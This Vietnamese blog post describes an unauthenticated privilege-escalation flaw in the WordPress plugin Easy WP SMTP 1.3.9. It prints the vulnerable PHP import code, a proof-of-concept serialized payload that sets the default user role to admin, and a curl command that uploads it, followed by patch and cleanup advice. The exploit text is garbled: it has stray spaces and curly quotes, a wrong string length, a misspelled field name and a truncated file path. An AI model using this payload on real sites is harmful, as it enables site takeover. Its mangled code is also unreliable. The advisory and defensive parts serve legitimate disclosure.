Lỗ hổng cực kỳ nghiêm trọng của plugin WordPress Easy WP SMTP

Đánh giá bài viết

Plugin Easy WP SMTP khá phổ biến với hơn 300,000+ lượt cài đặt, dễ bị lỗ hổng nghiêm trọng cho phép hacker tạo tài khoản với quyền admin sau đó chèn mã độc vào website và thay đổi giao diện Web.

Lỗ hổng này đã được tìm thấy ở phiên bản v1.3.9 và đã được tin tặc khai thác từ ngày 15/3 và đã bị tường lửa của WordPress NinjaFirewall (WP Edition) phát hiện.

add_action( 'admin_init', array( $this, 'admin_init' ) );
 …
 …
 function admin_init() {
     if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
          add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
          add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
     }
//view log file
if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
    $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
    if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
        if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
        wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
        };
    }
    $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
    if ( ! $logfile ) {
        wp_die( 'Can\'t open log file.' );
    }
    header( 'Content-Type: text/plain' );
    fpassthru( $logfile );
    die;
    }
}

//check if this is export settings request
$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
if ( $is_export_settings ) {
    $data                   = array();
    $opts                   = get_option( 'swpsmtp_options', array() );
    $data[ 'swpsmtp_options' ]      = $opts;
    $swpsmtp_pass_encrypted             = get_option( 'swpsmtp_pass_encrypted', false );
    $data[ 'swpsmtp_pass_encrypted' ]   = $swpsmtp_pass_encrypted;
    if ( $swpsmtp_pass_encrypted ) {
    $swpsmtp_enc_key        = get_option( 'swpsmtp_enc_key', false );
    $data[ 'swpsmtp_enc_key' ]  = $swpsmtp_enc_key;
    }
    $smtp_test_mail             = get_option( 'smtp_test_mail', array() );
    $data[ 'smtp_test_mail' ]   = $smtp_test_mail;
    $out                = array();
    $out[ 'data' ]          = serialize( $data );
    $out[ 'ver' ]           = 1;
    $out[ 'checksum' ]      = md5( $out[ 'data' ] );

    $filename = 'easy_wp_smtp_settings.txt';
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    header( 'Content-Type: text/plain' );
    echo serialize( $out );
    exit;
}

$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
if ( $is_import_settings ) {
     $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
     if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
        echo $err_msg;
        wp_die();
    }
    $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
    try {
        $in = unserialize( $in_raw );
        if ( empty( $in[ 'data' ] ) ) {
             echo $err_msg;
             wp_die();
        }
        if ( empty( $in[ 'checksum' ] ) ) {
             echo $err_msg;
             wp_die();
        }
        if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
             echo $err_msg;
             wp_die();
        }
        $data = unserialize( $in[ 'data' ] );
        foreach ( $data as $key => $value ) {
             update_option( $key, $value );
        }
        set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
        $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
        wp_safe_redirect( $url );
        exit;
    } catch ( Exception $ex ) {
        echo $err_msg;
        wp_die();
    }
}
}

Hàm trên admin_init(), từ easy-wp-smtp.phptập lệnh, được chạy qua admin_inithook khi người dùng truy cập vào khu vực quản trị. Nó được sử dụng để xem / xóa nhật ký, nhập / xuất cấu hình plugin và cập nhật các tùy chọn trong cơ sở dữ liệu WordPress. Nó không kiểm tra khả năng của người dùng, do đó bất kỳ người dùng nào đã đăng nhập, như người đăng ký, đều có thể kích hoạt nó. Tuy nhiên nó cũng có thể được thực thi bởi người dùng chưa được xác thực, bởi vì Plugin Easy WP SMTP sử dụng AJAX và admin_inithook cũng chạy trên admin-ajax.php như được chỉ ra trong tài liệu API WordPress:

“Lưu ý, điều này không chỉ chạy trên màn hình quản trị người dùng. Nó cũng chạy trên admin-ajax.php và admin-post.php.”

Do đó, người dùng không được xác thực có thể gửi yêu cầu AJAX, ví dụ action=swpsmtp_clear_log, để kích hoạt chức năng trên và thực thi mã của nó.

Bằng chứng của khái niệm trên

Trong bằng chứng khái niệm sau đây, mình sẽ sử dụng swpsmtp_import_settings để tải lên một tệp sẽ chứa một payload nối tiếp độc hại sẽ cho phép người dùng đăng ký ( users_can_register) và đặt vai trò mặc định của người dùng ( default_role) cho quản trị viên của người dùng trong cơ sở dữ liệu.

1. Tạo một tên tập tin / tmp / upload.txt và thêm nội dung này vào đó:

1a: 2: {s: 4: “data”; s: 81: “a: 2: {s: 18:” users_can_register “; s: 1:” 1 “; s: 12:” default_role “; s: 13 : “admin”;} “; s: 8:” checksum “; s: 32:” 3ce5fb6d7b1dbd6252f4b5b3526650c8 “;}

2. Tải tệp lên:

1$ curl https://fornewbie.net/wp-admin/admin-ajax.php -F ‘action = swpsmtp_clear_log’ -F ‘swpsmtp_import_sinstall = 1’ -F ‘swpsmtp_import_sinstall_file=@tup

Các lỗ hổng khác có thể bị khai thác như:

  • Thực thi mã từ xa thông qua PHP Object Injection vì với Easy WP SMTP sử dụng các unserialize() cách gọi không an toàn .
  • Xem / xóa nhật ký (hoặc bất kỳ tệp nào, vì tin tặc có thể thay đổi tên tệp nhật ký).
  • Xuất cấu hình plugin bao gồm máy chủ SMTP, tên người dùng và mật khẩu và sử dụng nó để gửi email spam.

Điều thú vị là tất cả các nỗ lực bị bắt bởi tường lửa cho thấy tin tặc đã cố gắng khai thác lỗ hổng để thay đổi nội dung của wp_user_rolestùy chọn WordPress trong cơ sở dữ liệu và cung cấp khả năng quản trị viên cho tất cả người dùng. Không giống như tạo tài khoản quản trị viên, có thể dễ dàng phát hiện trong phần Người dùng WordPress, việc thay đổi khả năng hầu như không đáng chú ý, tức là, một người dùng đơn giản sẽ tiếp tục xuất hiện dưới dạng người dùng đơn giản nhưng sẽ có thể làm mọi thứ mà quản trị viên có thể làm. ( Có thể hiểu như bạn không phải vua nhưng làm được mọi thứ mà vua làm )

Dấu thời gian

Một phiên bản mới 1.3.9.1 đã được phát hành vào ngày 17 tháng 3. Đã sửa lỗi dễ bị tấn công trong cài đặt nhập \ xuất  được phát hành và bạn có thể tải cũng như cập nhật mới.

khuyến nghị

Cập nhật càng sớm càng tốt nếu bạn vẫn đang chạy phiên bản 1.3.9 thì có thể cập nhật mới => Ở đây

Nếu bạn đang sử dụng tường lửa ứng dụng web cho WordPress, NinjaFirewall WP Edition (miễn phí) và NinjaFirewall WP + Edition (cao cấp), bạn sẽ được bảo vệ chống lại lỗ hổng này.

Nếu bạn đang sử dụng phiên bản dễ bị xâm hại của Easy WP SMTP, đây là một số đề xuất bổ sung (danh sách có thể không đầy đủ với kiến thức hạn hẹp ):

  • Kiểm tra Cài đặt WordPress của bạn > Trang General : Đảm bảo không có gì bị giả mạo (URL, Địa chỉ email, Tư cách thành viên và Vai trò mặc định của người dùng mới).
  • Kiểm tra trang WordPress của người dùng WordPress của bạn: Tìm kiếm người dùng mới, tài khoản quản trị lạ, kiểm tra địa chỉ email quản trị viên, v.v.
  • Thay đổi tất cả mật khẩu.
  • Kiểm tra bảng WordPress wp_options* của bạn trong cơ sở dữ liệu.: Đảm bảo wp_user_roles* , chứa các vai trò và khả năng của người dùng, đã không bị giả mạo. Bạn cũng có thể sử dụng NinjaScanner miễn phí của chúng tôi cho WordPress .
  • Quét các tập tin của bạn quá, tin tặc có thể đã tải lên backreen.
  • Thay đổi mật khẩu SMTP của bạn, tin tặc có thể đã đánh cắp nó.

Hy vọng với bài viết này, bạn sẽ tự bảo vệ Website của mình an toàn.

Thêm bình luận